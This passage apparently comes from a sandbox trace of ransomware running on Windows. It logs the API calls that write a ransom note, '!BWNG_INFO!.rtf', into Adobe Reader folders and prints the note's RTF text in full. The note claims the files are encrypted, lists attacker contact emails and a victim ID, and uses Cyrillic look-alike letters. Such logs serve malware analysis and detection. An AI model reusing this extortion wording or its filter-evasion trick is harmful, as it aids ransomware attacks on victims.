\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.068] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.069] CloseHandle (hObject=0x1b4) returned 1 [0034.070] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\!bwng_info!.rtf")) returned 0xffffffff [0034.070] GetLastError () returned 0x2 [0034.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 